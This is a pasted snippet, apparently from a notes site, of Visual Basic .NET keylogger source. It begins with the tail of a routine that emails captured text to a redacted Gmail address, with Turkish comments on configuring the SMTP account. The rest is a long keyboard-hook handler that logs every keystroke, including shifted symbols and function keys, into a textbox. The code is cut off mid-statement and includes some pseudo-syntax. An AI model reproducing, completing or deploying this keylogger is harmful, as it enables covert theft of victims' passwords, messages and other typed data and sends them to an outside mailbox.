Notes

Notes - notes.io

With Message
To = "[email protected]" smtp ayarla gmailine
From = "Mail Post Server"
Subject = " " (arasına bişi yaz mail gelince sana konu olarak yazcaktır)
HTMLbOdy = Text1.Text
Organization = "Mail Organition"
Reply to = " " ikinci boş mailini yaz
Set Configuration = iConf
Send Email Gmail = Send
End With
End Sub

Sub shiftandcaps(ByVal Key As System.Windows.Forms.Keys) Handles kbHook.KeyDown
If My.Computer.Keyboard.ShiftKeyDown = False And My.Computer.Keyboard.CapsLock = False Then
If Key = Keys.A Then
TextBox1.Text = TextBox1.Text & "a"
ElseIf Key = Keys.B Then
TextBox1.Text = TextBox1.Text & "b"
ElseIf Key = Keys.C Then
TextBox1.Text = TextBox1.Text & "c"
ElseIf Key = Keys.D Then
TextBox1.Text = TextBox1.Text & "d"
ElseIf Key = Keys.E Then
TextBox1.Text = TextBox1.Text & "e"
ElseIf Key = Keys.F Then
TextBox1.Text = TextBox1.Text & "f"
ElseIf Key = Keys.G Then
TextBox1.Text = TextBox1.Text & "g"
ElseIf Key = Keys.H Then
TextBox1.Text = TextBox1.Text & "h"
ElseIf Key = Keys.I Then
TextBox1.Text = TextBox1.Text & "i"
ElseIf Key = Keys.J Then
TextBox1.Text = TextBox1.Text & "j"
ElseIf Key = Keys.K Then
TextBox1.Text = TextBox1.Text & "k"
ElseIf Key = Keys.L Then
TextBox1.Text = TextBox1.Text & "l"
ElseIf Key = Keys.M Then
TextBox1.Text = TextBox1.Text & "m"
ElseIf Key = Keys.N Then
TextBox1.Text = TextBox1.Text & "n"
ElseIf Key = Keys.O Then
TextBox1.Text = TextBox1.Text & "o"
ElseIf Key = Keys.P Then
TextBox1.Text = TextBox1.Text & "p"
ElseIf Key = Keys.Q Then
TextBox1.Text = TextBox1.Text & "q"
ElseIf Key = Keys.R Then
TextBox1.Text = TextBox1.Text & "r"
ElseIf Key = Keys.S Then
TextBox1.Text = TextBox1.Text & "s"
ElseIf Key = Keys.T Then
TextBox1.Text = TextBox1.Text & "t"
ElseIf Key = Keys.U Then
TextBox1.Text = TextBox1.Text & "u"
ElseIf Key = Keys.V Then
TextBox1.Text = TextBox1.Text & "v"
ElseIf Key = Keys.W Then
TextBox1.Text = TextBox1.Text & "w"
ElseIf Key = Keys.X Then
TextBox1.Text = TextBox1.Text & "x"
ElseIf Key = Keys.Y Then
TextBox1.Text = TextBox1.Text & "y"
ElseIf Key = Keys.Z Then
TextBox1.Text = TextBox1.Text & "z"
ElseIf Key = Keys.D0 Then
TextBox1.Text = TextBox1.Text & "0"
ElseIf Key = Keys.D1 Then
TextBox1.Text = TextBox1.Text & "1"
ElseIf Key = Keys.D2 Then
TextBox1.Text = TextBox1.Text & "2"
ElseIf Key = Keys.D3 Then
TextBox1.Text = TextBox1.Text & "3"
ElseIf Key = Keys.D4 Then
TextBox1.Text = TextBox1.Text & "4"
ElseIf Key = Keys.D5 Then
TextBox1.Text = TextBox1.Text & "5"
ElseIf Key = Keys.D6 Then
TextBox1.Text = TextBox1.Text & "6"
ElseIf Key = Keys.D7 Then
TextBox1.Text = TextBox1.Text & "7"
ElseIf Key = Keys.D8 Then
TextBox1.Text = TextBox1.Text & "8"
ElseIf Key = Keys.D9 Then
TextBox1.Text = TextBox1.Text & "9"
ElseIf Key = Keys.NumPad0 Then
TextBox1.Text = TextBox1.Text & "0"
ElseIf Key = Keys.NumPad1 Then
TextBox1.Text = TextBox1.Text & "1"
ElseIf Key = Keys.NumPad2 Then
TextBox1.Text = TextBox1.Text & "2"
ElseIf Key = Keys.NumPad3 Then
TextBox1.Text = TextBox1.Text & "3"
ElseIf Key = Keys.NumPad4 Then
TextBox1.Text = TextBox1.Text & "4"
ElseIf Key = Keys.NumPad5 Then
TextBox1.Text = TextBox1.Text & "5"
ElseIf Key = Keys.NumPad6 Then
TextBox1.Text = TextBox1.Text & "6"
ElseIf Key = Keys.NumPad7 Then
TextBox1.Text = TextBox1.Text & "7"
ElseIf Key = Keys.NumPad8 Then
TextBox1.Text = TextBox1.Text & "8"
ElseIf Key = Keys.NumPad9 Then
TextBox1.Text = TextBox1.Text & "9"
ElseIf Key = Keys.Oemcomma Then
TextBox1.Text = TextBox1.Text & ","
ElseIf Key = Keys.OemMinus Then
TextBox1.Text = TextBox1.Text & "-"
ElseIf Key = Keys.OemQuotes Then
TextBox1.Text = TextBox1.Text & "'"
ElseIf Key = Keys.OemOpenBrackets Then
TextBox1.Text = TextBox1.Text & "["
ElseIf Key = Keys.OemCloseBrackets Then
TextBox1.Text = TextBox1.Text & "]"
ElseIf Key = Keys.OemQuestion Then
TextBox1.Text = TextBox1.Text & "/"
ElseIf Key = Keys.OemPipe Then
TextBox1.Text = TextBox1.Text & ""
ElseIf Key = Keys.Oem1 Then
TextBox1.Text = TextBox1.Text & ";"
ElseIf Key = Keys.OemPeriod Then
TextBox1.Text = TextBox1.Text & "."
ElseIf Key = Keys.Oemtilde Then
TextBox1.Text = TextBox1.Text & "`"
ElseIf Key = Keys.Space Then
TextBox1.Text = TextBox1.Text & " "
ElseIf Key = Keys.Enter Then
TextBox1.Text = TextBox1.Text & vbNewLine
ElseIf Key = Keys.F1 Then
TextBox1.Text = TextBox1.Text & "[F1]"
ElseIf Key = Keys.F2 Then
TextBox1.Text = TextBox1.Text & "[F2]"
ElseIf Key = Keys.F3 Then
TextBox1.Text = TextBox1.Text & "[F3]"
ElseIf Key = Keys.F4 Then
TextBox1.Text = TextBox1.Text & "[F4]"
ElseIf Key = Keys.F5 Then
TextBox1.Text = TextBox1.Text & "[F5]"
ElseIf Key = Keys.F6 Then
TextBox1.Text = TextBox1.Text & "[F6]"
ElseIf Key = Keys.F7 Then
TextBox1.Text = TextBox1.Text & "[F7]"
ElseIf Key = Keys.F8 Then
TextBox1.Text = TextBox1.Text & "[F8]"
ElseIf Key = Keys.F9 Then
TextBox1.Text = TextBox1.Text & "[F9]"
ElseIf Key = Keys.F10 Then
TextBox1.Text = TextBox1.Text & "[F10]"
ElseIf Key = Keys.F11 Then
TextBox1.Text = TextBox1.Text & "[F11]"
ElseIf Key = Keys.F12 Then
TextBox1.Text = TextBox1.Text & "[F12]"
ElseIf Key = Keys.Delete Then
TextBox1.Text = TextBox1.Text & "[DEL]"
ElseIf Key = Keys.Back Then
TextBox1.Text = TextBox1.Text & "[DEL]"
ElseIf Key = Keys.Down Then
TextBox1.Text = TextBox1.Text & "?"
ElseIf Key = Keys.Up Then
TextBox1.Text = TextBox1.Text & "?"
ElseIf Key = Keys.Left Then
TextBox1.Text = TextBox1.Text & "?"
ElseIf Key = Keys.Right Then
TextBox1.Text = TextBox1.Text & "?"
ElseIf Key = Keys.Tab Then
TextBox1.Text = TextBox1.Text & "[TAB]"
ElseIf Key = Keys.End Then
TextBox1.Text = TextBox1.Text & "[END]"
ElseIf Key = Keys.Escape Then
TextBox1.Text = TextBox1.Text & "[ESC]"
ElseIf Key = Keys.Divide Then
TextBox1.Text = TextBox1.Text & "/"
ElseIf Key = Keys.Decimal Then
TextBox1.Text = TextBox1.Text & "."
ElseIf Key = Keys.Subtract Then
TextBox1.Text = TextBox1.Text & "-"
ElseIf Key = Keys.Add Then
TextBox1.Text = TextBox1.Text & "+"
ElseIf Key = Keys.Multiply Then
TextBox1.Text = TextBox1.Text & "*"
End If
ElseIf My.Computer.Keyboard.ShiftKeyDown = False And My.Computer.Keyboard.CapsLock = True Then
If Key = Keys.A Then
TextBox1.Text = TextBox1.Text & "A"
ElseIf Key = Keys.B Then
TextBox1.Text = TextBox1.Text & "B"
ElseIf Key = Keys.C Then
TextBox1.Text = TextBox1.Text & "C"
ElseIf Key = Keys.D Then
TextBox1.Text = TextBox1.Text & "D"
ElseIf Key = Keys.E Then
TextBox1.Text = TextBox1.Text & "E"
ElseIf Key = Keys.F Then
TextBox1.Text = TextBox1.Text & "F"
ElseIf Key = Keys.G Then
TextBox1.Text = TextBox1.Text & "G"
ElseIf Key = Keys.H Then
TextBox1.Text = TextBox1.Text & "H"
ElseIf Key = Keys.I Then
TextBox1.Text = TextBox1.Text & "I"
ElseIf Key = Keys.J Then
TextBox1.Text = TextBox1.Text & "J"
ElseIf Key = Keys.K Then
TextBox1.Text = TextBox1.Text & "K"
ElseIf Key = Keys.L Then
TextBox1.Text = TextBox1.Text & "L"
ElseIf Key = Keys.M Then
TextBox1.Text = TextBox1.Text & "M"
ElseIf Key = Keys.N Then
TextBox1.Text = TextBox1.Text & "N"
ElseIf Key = Keys.O Then
TextBox1.Text = TextBox1.Text & "O"
ElseIf Key = Keys.P Then
TextBox1.Text = TextBox1.Text & "P"
ElseIf Key = Keys.Q Then
TextBox1.Text = TextBox1.Text & "Q"
ElseIf Key = Keys.R Then
TextBox1.Text = TextBox1.Text & "R"
ElseIf Key = Keys.S Then
TextBox1.Text = TextBox1.Text & "S"
ElseIf Key = Keys.T Then
TextBox1.Text = TextBox1.Text & "T"
ElseIf Key = Keys.U Then
TextBox1.Text = TextBox1.Text & "U"
ElseIf Key = Keys.V Then
TextBox1.Text = TextBox1.Text & "V"
ElseIf Key = Keys.W Then
TextBox1.Text = TextBox1.Text & "W"
ElseIf Key = Keys.X Then
TextBox1.Text = TextBox1.Text & "X"
ElseIf Key = Keys.Y Then
TextBox1.Text = TextBox1.Text & "Y"
ElseIf Key = Keys.Z Then
TextBox1.Text = TextBox1.Text & "Z"
ElseIf Key = Keys.D0 Then
TextBox1.Text = TextBox1.Text & "0"
ElseIf Key = Keys.D1 Then
TextBox1.Text = TextBox1.Text & "1"
ElseIf Key = Keys.D2 Then
TextBox1.Text = TextBox1.Text & "2"
ElseIf Key = Keys.D3 Then
TextBox1.Text = TextBox1.Text & "3"
ElseIf Key = Keys.D4 Then
TextBox1.Text = TextBox1.Text & "4"
ElseIf Key = Keys.D5 Then
TextBox1.Text = TextBox1.Text & "5"
ElseIf Key = Keys.D6 Then
TextBox1.Text = TextBox1.Text & "6"
ElseIf Key = Keys.D7 Then
TextBox1.Text = TextBox1.Text & "7"
ElseIf Key = Keys.D8 Then
TextBox1.Text = TextBox1.Text & "8"
ElseIf Key = Keys.D9 Then
TextBox1.Text = TextBox1.Text & "9"
ElseIf Key = Keys.NumPad0 Then
TextBox1.Text = TextBox1.Text & "0"
ElseIf Key = Keys.NumPad1 Then
TextBox1.Text = TextBox1.Text & "1"
ElseIf Key = Keys.NumPad2 Then
TextBox1.Text = TextBox1.Text & "2"
ElseIf Key = Keys.NumPad3 Then
TextBox1.Text = TextBox1.Text & "3"
ElseIf Key = Keys.NumPad4 Then
TextBox1.Text = TextBox1.Text & "4"
ElseIf Key = Keys.NumPad5 Then
TextBox1.Text = TextBox1.Text & "5"
ElseIf Key = Keys.NumPad6 Then
TextBox1.Text = TextBox1.Text & "6"
ElseIf Key = Keys.NumPad7 Then
TextBox1.Text = TextBox1.Text & "7"
ElseIf Key = Keys.NumPad8 Then
TextBox1.Text = TextBox1.Text & "8"
ElseIf Key = Keys.NumPad9 Then
TextBox1.Text = TextBox1.Text & "9"
ElseIf Key = Keys.Oemcomma Then
TextBox1.Text = TextBox1.Text & ","
ElseIf Key = Keys.OemMinus Then
TextBox1.Text = TextBox1.Text & "-"
ElseIf Key = Keys.OemQuotes Then
TextBox1.Text = TextBox1.Text & "'"
ElseIf Key = Keys.OemOpenBrackets Then
TextBox1.Text = TextBox1.Text & "["
ElseIf Key = Keys.OemCloseBrackets Then
TextBox1.Text = TextBox1.Text & "]"
ElseIf Key = Keys.OemQuestion Then
TextBox1.Text = TextBox1.Text & "/"
ElseIf Key = Keys.OemPipe Then
TextBox1.Text = TextBox1.Text & ""
ElseIf Key = Keys.Oem1 Then
TextBox1.Text = TextBox1.Text & ";"
ElseIf Key = Keys.OemPeriod Then
TextBox1.Text = TextBox1.Text & "."
ElseIf Key = Keys.Oemtilde Then
TextBox1.Text = TextBox1.Text & "`"
ElseIf Key = Keys.Space Then
TextBox1.Text = TextBox1.Text & " "
ElseIf Key = Keys.Enter Then
TextBox1.Text = TextBox1.Text & vbNewLine
ElseIf Key = Keys.F1 Then
TextBox1.Text = TextBox1.Text & "[F1]"
ElseIf Key = Keys.F2 Then
TextBox1.Text = TextBox1.Text & "[F2]"
ElseIf Key = Keys.F3 Then
TextBox1.Text = TextBox1.Text & "[F3]"
ElseIf Key = Keys.F4 Then
TextBox1.Text = TextBox1.Text & "[F4]"
ElseIf Key = Keys.F5 Then
TextBox1.Text = TextBox1.Text & "[F5]"
ElseIf Key = Keys.F6 Then
TextBox1.Text = TextBox1.Text & "[F6]"
ElseIf Key = Keys.F7 Then
TextBox1.Text = TextBox1.Text & "[F7]"
ElseIf Key = Keys.F8 Then
TextBox1.Text = TextBox1.Text & "[F8]"
ElseIf Key = Keys.F9 Then
TextBox1.Text = TextBox1.Text & "[F9]"
ElseIf Key = Keys.F10 Then
TextBox1.Text = TextBox1.Text & "[F10]"
ElseIf Key = Keys.F11 Then
TextBox1.Text = TextBox1.Text & "[F11]"
ElseIf Key = Keys.F12 Then
TextBox1.Text = TextBox1.Text & "[F12]"
ElseIf Key = Keys.Delete Then
TextBox1.Text = TextBox1.Text & "[DEL]"
ElseIf Key = Keys.Back Then
TextBox1.Text = TextBox1.Text & "[DEL]"
ElseIf Key = Keys.Down Then
TextBox1.Text = TextBox1.Text & "?"
ElseIf Key = Keys.Up Then
TextBox1.Text = TextBox1.Text & "?"
ElseIf Key = Keys.Left Then
TextBox1.Text = TextBox1.Text & "?"
ElseIf Key = Keys.Right Then
TextBox1.Text = TextBox1.Text & "?"
ElseIf Key = Keys.Tab Then
TextBox1.Text = TextBox1.Text & "[TAB]"
ElseIf Key = Keys.End Then
TextBox1.Text = TextBox1.Text & "[END]"
ElseIf Key = Keys.Escape Then
TextBox1.Text = TextBox1.Text & "[ESC]"
ElseIf Key = Keys.Divide Then
TextBox1.Text = TextBox1.Text & "/"
ElseIf Key = Keys.Decimal Then
TextBox1.Text = TextBox1.Text & "."
ElseIf Key = Keys.Subtract Then
TextBox1.Text = TextBox1.Text & "-"
ElseIf Key = Keys.Add Then
TextBox1.Text = TextBox1.Text & "+"
ElseIf Key = Keys.Multiply Then
TextBox1.Text = TextBox1.Text & "*"
End If
ElseIf My.Computer.Keyboard.ShiftKeyDown = True And My.Computer.Keyboard.CapsLock = True Then
If Key = Keys.D1 Then
TextBox1.Text = TextBox1.Text + "!"
ElseIf Key = Keys.D2 Then
TextBox1.Text = TextBox1.Text + "@"
ElseIf Key = Keys.D3 Then
TextBox1.Text = TextBox1.Text + "#"
ElseIf Key = Keys.D4 Then
TextBox1.Text = TextBox1.Text + "$"
ElseIf Key = Keys.D5 Then
TextBox1.Text = TextBox1.Text + "%"
ElseIf Key = Keys.D6 Then
TextBox1.Text = TextBox1.Text + "^"
ElseIf Key = Keys.D7 Then
TextBox1.Text = TextBox1.Text + "&"
ElseIf Key = Keys.D8 Then
TextBox1.Text = TextBox1.Text + "*"
ElseIf Key = Keys.D9 Then
TextBox1.Text = TextBox1.Text + "("
ElseIf Key = Keys.D0 Then
TextBox1.Text = TextBox1.Text + ")"
ElseIf Key = Keys.A Then
TextBox1.Text = TextBox1.Text & "A"
ElseIf Key = Keys.B Then
TextBox1.Text = TextBox1.Text & "B"
ElseIf Key = Keys.C Then
TextBox1.Text = TextBox1.Text & "C"
ElseIf Key = Keys.D Then
TextBox1.Text = TextBox1.Text & "D"
ElseIf Key = Keys.E Then
TextBox1.Text = TextBox1.Text & "E"
ElseIf Key = Keys.F Then
TextBox1.Text = TextBox1.Text & "F"
ElseIf Key = Keys.G Then
TextBox1.Text = TextBox1.Text & "G"
ElseIf Key = Keys.H Then
TextBox1.Text = TextBox1.Text & "H"
ElseIf Key = Keys.I Then
TextBox1.Text = TextBox1.Text & "I"
ElseIf Key = Keys.J Then
TextBox1.Text = TextBox1.Text & "J"
ElseIf Key = Keys.K Then
TextBox1.Text = TextBox1.Text & "K"
ElseIf Key = Keys.L Then
TextBox1.Text = TextBox1.Text & "L"
ElseIf Key = Keys.M Then
TextBox1.Text = TextBox1.Text & "M"
ElseIf Key = Keys.N Then
TextBox1.Text = TextBox1.Text & "N"
ElseIf Key = Keys.O Then
TextBox1.Text = TextBox1.Text & "O"
ElseIf Key = Keys.P Then
TextBox1.Text = TextBox1.Text & "P"
ElseIf Key = Keys.Q Then
TextBox1.Text = TextBox1.Text & "Q"
ElseIf Key = Keys.R Then
TextBox1.Text = TextBox1.Text & "R"
ElseIf Key = Keys.S Then
TextBox1.Text = TextBox1.Text & "S"
ElseIf Key = Keys.T Then
TextBox1.Text = TextBox1.Text & "T"
ElseIf Key = Keys.U Then
TextBox1.Text = TextBox1.Text & "U"
ElseIf Key = Keys.V Then
TextBox1.Text = TextBox1.Text & "V"
ElseIf Key = Keys.W Then
TextBox1.Text = TextBox1.Text & "W"
ElseIf Key = Keys.X Then
TextBox1.Text = TextBox1.Text & "X"
ElseIf Key = Keys.Y Then
TextBox1.Text = TextBox1.Text & "Y"
ElseIf Key = Keys.Z Then
TextBox1.Text = TextBox1.Text & "Z"
ElseIf Key = Keys.Oemcomma Then
TextBox1.Text = TextBox1.Text & "<"
ElseIf Key = Keys.OemMinus Then
TextBox1.Text = TextBox1.Text & "_"
ElseIf Key = Keys.OemOpenBrackets Then
TextBox1.Text = TextBox1.Text & "{"
ElseIf Key = Keys.OemCloseBrackets Then
TextBox1.Text = TextBox1.Text & "}"
ElseIf Key = Keys.OemQuestion Then
TextBox1.Text = TextBox1.Text & "?"
ElseIf Key = Keys.OemPipe Then
TextBox1.Text = TextBox1.Text & "|"
ElseIf Key = Keys.Oem1 Then
TextBox1.Text = TextBox1.Text & ":"
ElseIf Key = Keys.OemPeriod Then
TextBox1.Text = TextBox1.Text & ">"
ElseIf Key = Keys.Oemtilde Then
TextBox1.Text = TextBox1.Text & "~"

ElseIf Key = Keys.Space Then
TextBox1.Text = TextBox1.Text & " "
ElseIf Key = Keys.Enter Then
TextBox1.Text = TextBox1.Text & vbNewLine
ElseIf Key = Keys.F1 Then
TextBox1.Text = TextBox1.Text & "[F1]"
ElseIf Key = Keys.F2 Then
TextBox1.Text = TextBox1.Text & "[F2]"
ElseIf Key = Keys.F3 Then
TextBox1.Text = TextBox1.Text & "[F3]"
ElseIf Key = Keys.F4 Then
TextBox1.Text = TextBox1.Text & "[F4]"
ElseIf Key = Keys.F5 Then
TextBox1.Text = TextBox1.Text & "[F5]"
ElseIf Key = Keys.F6 Then
TextBox1.Text = TextBox1.Text & "[F6]"
ElseIf Key = Keys.F7 Then
TextBox1.Text = TextBox1.Text & "[F7]"
ElseIf Key = Keys.F8 Then
TextBox1.Text = TextBox1.Text & "[F8]"
ElseIf Key = Keys.F9 Then
TextBox1.Text = TextBox1.Text & "[F9]"
ElseIf Key = Keys.F10 Then
TextBox1.Text = TextBox1.Text & "[F10]"
ElseIf Key = Keys.F11 Then
TextBox1.Text = TextBox1.Text & "[F11]"
ElseIf Key = Keys.F12 Then
TextBox1.Text = TextBox1.Text & "[F12]"
ElseIf Key = Keys.Delete Then
TextBox1.Text = TextBox1.Text & "[DEL]"
ElseIf Key = Keys.Back Then
TextBox1.Text = TextBox1.Text & "[DEL]"
ElseIf Key = Keys.Down Then
TextBox1.Text = TextBox1.Text & "?"
ElseIf Key = Keys.Up Then
TextBox1.Text = TextBox1.Text & "?"
ElseIf Key = Keys.Left Then
TextBox1.Text = TextBox1.Text & "?"
ElseIf Key = Keys.Right Then
TextBox1.Text = TextBox1.Text & "?"
ElseIf Key = Keys.Tab Then
TextBox1.Text = TextBox1.Text & "[TAB]"
ElseIf Key = Keys.End Then
TextBox1.Text = TextBox1.Text & "[END]"
ElseIf Key = Keys.Escape Then
TextBox1.Text = TextBox1.Text & "[ESC]"
ElseIf Key = Keys.Divide Then
TextBox1.Text = TextBox1.Text & "/"
ElseIf Key = Keys.Decimal Then
TextBox1.Text = TextBox1.Text & "."
ElseIf Key = Keys.Subtract Then
TextBox1.Text = TextBox1.Text & "-"
ElseIf Key = Keys.Add Then
TextBox1.Text = TextBox1.Text & "+"
ElseIf Key = Keys.Multiply Then
TextBox1.Text = TextBox1.Text & "*"
End If
ElseIf My.Computer.Keyboard.ShiftKeyDown = False And My.Computer.Keyboard.CapsLock = True Then
If Key = Keys.D1 Then
TextBox1.Text = TextBox1.Text + "1"
ElseIf Key = Keys.D2 Then
TextBox1.Text = TextBox1.Text + "2"
ElseIf Key = Keys.D3 Then
TextBox1.Text = TextBox1.Text + "3"
ElseIf Key = Keys.D4 Then
TextBox1.Text = TextBox1.Text + "4"
ElseIf Key = Keys.D5 Then
TextBox1.Text = TextBox1.Text + "5"
ElseIf Key = Keys.D6 Then
TextBox1.Text = TextBox1.Text + "6"
ElseIf Key = Keys.D7 Then
TextBox1.Text = TextBox1.Text + "7"
ElseIf Key = Keys.D8 Then
TextBox1.Text = TextBox1.Text + "8"
ElseIf Key = Keys.D9 Then
TextBox1.Text = TextBox1.Text + "9"
ElseIf Key = Keys.D0 Then
TextBox1.Text = TextBox1.Text + "0"
ElseIf Key = Keys.A Then
TextBox1.Text = TextBox1.Text & "a"
ElseIf Key = Keys.B Then
TextBox1.Text = TextBox1.Text & "b"
ElseIf Key = Keys.C Then
TextBox1.Text = TextBox1.Text & "c"
ElseIf Key = Keys.D Then
TextBox1.Text = TextBox1.Text & "d"
ElseIf Key = Keys.E Then
TextBox1.Text = TextBox1.Text & "e"
ElseIf Key = Keys.F Then
TextBox1.Text = TextBox1.Text & "f"
ElseIf Key = Keys.G Then
TextBox1.Text = TextBox1.Text & "g"
ElseIf Key = Keys.H Then
TextBox1.Text = TextBox1.Text & "h"
ElseIf Key = Keys.I Then
TextBox1.Text = TextBox1.Text & "i"
ElseIf Key = Keys.J Then
TextBox1.Text = TextBox1.Text & "j"
ElseIf Key = Keys.K Then
TextBox1.Text = TextBox1.Text & "k"
ElseIf Key = Keys.L Then
TextBox1.Text = TextBox1.Text & "l"
ElseIf Key = Keys.M Then
TextBox1.Text = TextBox1.Text & "m"
ElseIf Key = Keys.N Then
TextBox1.Text = TextBox1.Text & "n"
ElseIf Key = Keys.O Then
TextBox1.Text = TextBox1.Text & "o"
ElseIf Key = Keys.P Then
TextBox1.Text = TextBox1.Text & "p"
ElseIf Key = Keys.Q Then
TextBox1.Text = TextBox1.Text & "q"
ElseIf Key = Keys.R Then
TextBox1.Text = TextBox1.Text & "r"
ElseIf Key = Keys.S Then
TextBox1.Text = TextBox1.Text & "s"
ElseIf Key = Keys.T Then
TextBox1.Text = TextBox1.Text & "t"
ElseIf Key = Keys.U Then
TextBox1.Text = TextBox1.Text & "u"
ElseIf Key = Keys.V Then
TextBox1.Text = TextBox1.Text & "v"
ElseIf Key = Keys.W Then
TextBox1.Text = TextBox1.Text & "w"
ElseIf Key = Keys.X Then
TextBox1.Text = TextBox1.Text & "x"
ElseIf Key = Keys.Y Then
TextBox1.Text = TextBox1.Text & "y"
ElseIf Key = Keys.Z Then
TextBox1.Text = TextBox1.Text & "z"
ElseIf Key = Keys.Oemcomma Then
TextBox1.Text = TextBox1.Text & ","
ElseIf Key = Keys.OemMinus Then
TextBox1.Text = TextBox1.Text & "-"
ElseIf Key = Keys.OemQuotes Then
TextBox1.Text = TextBox1.Text & "'"
ElseIf Key = Keys.OemOpenBrackets Then
TextBox1.Text = TextBox1.Text & "["
ElseIf Key = Keys.OemCloseBrackets Then
TextBox1.Text = TextBox1.Text & "]"
ElseIf Key = Keys.OemQuestion Then
TextBox1.Text = TextBox1.Text & "/"
ElseIf Key = Keys.OemPipe Then
TextBox1.Text = TextBox1.Text & ""
ElseIf Key = Keys.Oem1 Then
TextBox1.Text = TextBox1.Text & ";"
ElseIf Key = Keys.OemPeriod Then
TextBox1.Text = TextBox1.Text & "."
ElseIf Key = Keys.Oemtilde Then
TextBox1.Text = TextBox1.Text & "`"
ElseIf Key = Keys.Space Then
TextBox1.Text = TextBox1.Text & " "
ElseIf Key = Keys.Enter Then
TextBox1.Text = TextBox1.Text & vbNewLine
ElseIf Key = Keys.F1 Then
TextBox1.Text = TextBox1.Text & "[F1]"
ElseIf Key = Keys.F2 Then
TextBox1.Text = TextBox1.Text & "[F2]"
ElseIf Key = Keys.F3 Then
TextBox1.Text = TextBox1.Text & "[F3]"
ElseIf Key = Keys.F4 Then
TextBox1.Text = TextBox1.Text & "[F4]"
ElseIf Key = Keys.F5 Then
TextBox1.Text = TextBox1.Text & "[F5]"
ElseIf Key = Keys.F6 Then
TextBox1.Text = TextBox1.Text & "[F6]"
ElseIf Key = Keys.F7 Then
TextBox1.Text = TextBox1.Text & "[F7]"
ElseIf Key = Keys.F8 Then
TextBox1.Text = TextBox1.Text & "[F8]"
ElseIf Key = Keys.F9 Then
TextBox1.Text = TextBox1.Text & "[F9]"
ElseIf Key = Keys.F10 Then
TextBox1.Text = TextBox1.Text & "[F10]"
ElseIf Key = Keys.F11 Then
TextBox1.Text = TextBox1.Text & "[F11]"
ElseIf Key = Keys.F12 Then
TextBox1.Text = TextBox1.Text & "[F12]"
ElseIf Key = Keys.Delete Then
TextBox1.Text = TextBox1.Text & "[DEL]"
ElseIf Key = Keys.Back Then
TextBox1.Text = TextBox1.Text & "[DEL]"
ElseIf Key = Keys.Down Then
TextBox1.Text = TextBox1.Text & "?"
ElseIf Key = Keys.Up Then
TextBox1.Text = TextBox1.Text & "?"
ElseIf Key = Keys.Left Then
TextBox1.Text = TextBox1.Text & "?"
ElseIf Key = Keys.Right Then
TextBox1.Text = TextBox1.Text & "?"
ElseIf Key = Keys.Tab Then
TextBox1.Text = TextBox1.Text & "[TAB]"
ElseIf Key = Keys.End Then
TextBox1.Text = TextBox1.Text & "[END]"
ElseIf Key = Keys.Escape Then
TextBox1.Text = TextBox1.Text & "[ESC]"
ElseIf Key = Keys.Divide Then
TextBox1.Text = TextBox1.Text & "/"
ElseIf Key = Keys.Decimal Then
TextBox1.Text = TextBox1.Text & "."
ElseIf Key = Keys.Subtract Then
TextBox1.Text = TextBox1.Text & "-"
ElseIf Key = Keys.Add Then
TextBox1.Text = TextBox1.Text & "+"
ElseIf Key = Keys.Multiply Then
TextBox1.Text = TextBox1.Text & "*"
End If
ElseIf My.Computer.Keyboard.ShiftKeyDown = True And My.Computer.Keyboard.CapsLock = False Then
If Key = Keys.D1 Then
TextBox1.Text = TextBox1.Text + "!"
ElseIf Key = Keys.D2 Then
TextBox1.Text = TextBox1.Text + "@"
ElseIf Key = Keys.D3 Then
TextBox1.Text = TextBox1.Text + "#"
ElseIf Key = Keys.D4 Then
TextBox1.Text = TextBox1.Text + "$"
ElseIf Key = Keys.D5 Then
TextBox1.Text = TextBox1.Text + "%"
ElseIf Key = Keys.D6 Then
TextBox1.Text = TextBox1.Text + "^"
ElseIf Key = Keys.D7 Then
TextBox1.Text = TextBox1.Text + "&"
ElseIf Key = Keys.D8 Then
TextBox1.Text = TextBox1.Text + "*"
ElseIf Key = Keys.D9 Then
TextBox1.Text = TextBox1.Text + "("
ElseIf Key = Keys.D0 Then
TextBox1.Text = TextBox1.Text + ")"
ElseIf Key = Keys.A Then
TextBox1.Text = TextBox1.Text & "A"
ElseIf Key = Keys.B Then
TextBox1.Text = TextBox1.Text & "B"
ElseIf Key = Keys.C Then
TextBox1.Text = TextBox1.Text & "C"
ElseIf Key = Keys.D Then
TextBox1.Text = TextBox1.Text & "D"
ElseIf Key = Keys.E Then
TextBox1.Text = TextBox1.Text & "E"
ElseIf Key = Keys.F Then
TextBox1.Text = TextBox1.Text & "F"
ElseIf Key = Keys.G Then
TextBox1.Text = TextBox1.Text & "G"
ElseIf Key = Keys.H Then
TextBox1.Text = TextBox1.Text & "H"
ElseIf Key = Keys.I Then
TextBox1.Text = TextBox1.Text & "I"
ElseIf Key = Keys.J Then
TextBox1.Text = TextBox1.Text & "J"
ElseIf Key = Keys.K Then
TextBox1.Text = TextBox1.Text & "K"
ElseIf Key = Keys.L Then
TextBox1.Text = TextBox1.Text & "L"
ElseIf Key = Keys.M Then
TextBox1.Text = TextBox1.Text & "M"
ElseIf Key = Keys.N Then
TextBox1.Text = TextBox1.Text & "N"
ElseIf Key = Keys.O Then
TextBox1.Text = TextBox1.Text & "O"
ElseIf Key = Keys.D2 Then
TextBox1.Text = TextBox1.Text & "@"
ElseIf Key = Keys.P Then
TextBox1.Text = TextBox1.Text & "P"
ElseIf Key = Keys.Q Then
TextBox1.Text = TextBox1.Text & "Q"
ElseIf Key = Keys.R Then
TextBox1.Text = TextBox1.Text & "R"
ElseIf Key = Keys.S Then
TextBox1.Text = TextBox1.Text & "S"
ElseIf Key = Keys.T Then
TextBox1.Text = TextBox1.Text & "T"
ElseIf Key = Keys.U Then
TextBox1.Text = TextBox1.Text & "U"
ElseIf Key = Keys.V Then
TextBox1.Text = TextBox1.Text & "V"
ElseIf Key = Keys.W Then
TextBox1.Text = TextBox1.Text & "W"
ElseIf Key = Keys.X Then
TextBox1.Text = TextBox1.Text & "X"
ElseIf Key = Keys.Y Then
TextBox1.Text = TextBox1.Text & "Y"
ElseIf Key = Keys.Z Then
TextBox1.Text = TextBox1.Text & "Z"
ElseIf Key = Keys.Oemcomma Then
TextBox1.Text = TextBox1.Text & "<"
ElseIf Key = Keys.OemMinus Then
TextBox1.Text = TextBox1.Text & "_"
ElseIf Key = Keys.OemOpenBrackets Then
TextBox1.Text = TextBox1.Text & "{"
ElseIf Key = Keys.OemCloseBrackets Then
TextBox1.Text = TextBox1.Text & "}"
ElseIf Key = Keys.OemQuestion Then
TextBox1.Text = TextBox1.Text & "?"
ElseIf Key = Keys.OemPipe Then
TextBox1.Text = TextBox1.Text & "|"
ElseIf Key = Keys.Oem1 Then
TextBox1.Text = TextBox1.Text & ":"
ElseIf Key = Keys.OemPeriod Then
